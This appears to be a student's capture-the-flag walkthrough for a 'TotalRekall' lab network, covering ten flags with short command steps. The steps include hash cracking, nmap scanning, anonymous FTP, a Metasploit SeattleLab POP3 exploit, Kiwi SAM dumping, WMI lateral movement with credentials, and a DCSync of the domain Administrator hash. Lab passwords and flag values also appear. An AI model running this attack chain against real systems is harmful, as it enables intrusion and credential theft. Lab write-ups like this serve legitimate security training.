NESSUS LOGIN: ROOT ROOT

Ctf-3.azurewebsites.net: timp98 timothy1

FLAG 1:

* IN SEARCH BAR:
  + GITHUB.COM/TOTALREKALL
    - SITE
      * XAMPP.USERS
      * COPY FULL CONTENT
* IN TERMINAL:
  + NANO HASH1.TXT
    - PASTE CONTENT
  + JOHN HASH1.TXT
  + FLAG 1: Tanya4life

FLAG 2:

* IN TERMINAL:
  + NMAP -SV 172.22.117.0/24
  + WINDOWS 10:
    - 172.22.117.20
  + IN BROWSER:
    - 172.22.117.20
    - LOGIN TO:
      * Trivera
      * Tanya4life
    - Flag file
  + FLAG 2:

FLAG 3:

* IN TERMINAL:
  + FTP 172.22.117.20
  + USER: ANONYMOUS
  + PASS: ANONYMOUS
    - LS
    - GET FLAG 3.TXT
    - EXIT
  + CAT FLAG 3.TXT
  + FLAG 3: 89cb548970d44f348bb63622353ae278

FLAG 4:

* IN TERMINAL
  + MSFCONSOLE
  + SEARCH SLM
    - USE EXPLOIT/WINDOWS/POP3/SEATTLELAB\_PASS
    - SET RHOSTS 172.22.117.20
    - SET LHOST 172.22.117.100
    - RUN
      * LS
      * CAT FLAG4.TXT
      * FLAG 4: 822e3434a10440ad9cc0861978197819b49d

FLAG 5:

* CONTINUE FROM FLAG 4:
  + SHELL
    - SCHTASKS
    - THE VERY FIRST TASKS: FLAG 5
    - SCHTASKS /query /TN flag5 /fo list /v
    - FLAG 5:

FLAG 6:

* CONTINUE FROM FLAG 5:
  + LOAD KIWI
  + Lsa\_dump\_sam
    - Flag 6 user
    - COPY AND PASTE INTO HASH2.TXT
    - JOHN –FORMAT=NT HASH2.TXT
    - FLAG 6:

FLAG 7:

* FROM METERPRETER SHELL:
  + SHELL
  + CD /
  + CD USERS
    - CD PUBLIC
    - CD DOCUMENTS
    - CAT FLAG7.TXT
    - FLAG 7: 6fd73e3a2c2740328d57ef32557c2fdc

FLAG 8:

* BACKGROUND METERPRETER
  + USE EXPLOIT/WINDOWS/LOCAL/WMI
    - SET SMBDOMAIN TOTALREKALL
    - SET SMBUSER ADMBOB
    - SET SMBPASS CHANGEME!
    - SET RHOSTS 172.22.117.10
    - SET LHOST 172.22.117.100
    - RUN
      * Sysinfo
      * Shell
      * Net users
      * FLAG 8: ad12fc2ffc1e47

FLAG 9:

* CONTINUE FROM 8:
  + CD /
  + LS
  + CAT FLAG 9.TXT
  + FLAG 9: f7356e02f44c4fe7bf5374ff9bcbf872

FLAG 10:

* WHILE INSIDE WINDC01:
  + DCSYNC\_NTLM ADMINISTRATOR:
    - FLAG 10: NTLM HASH = 4f0cfd309a1965906fd2ec39dd23d582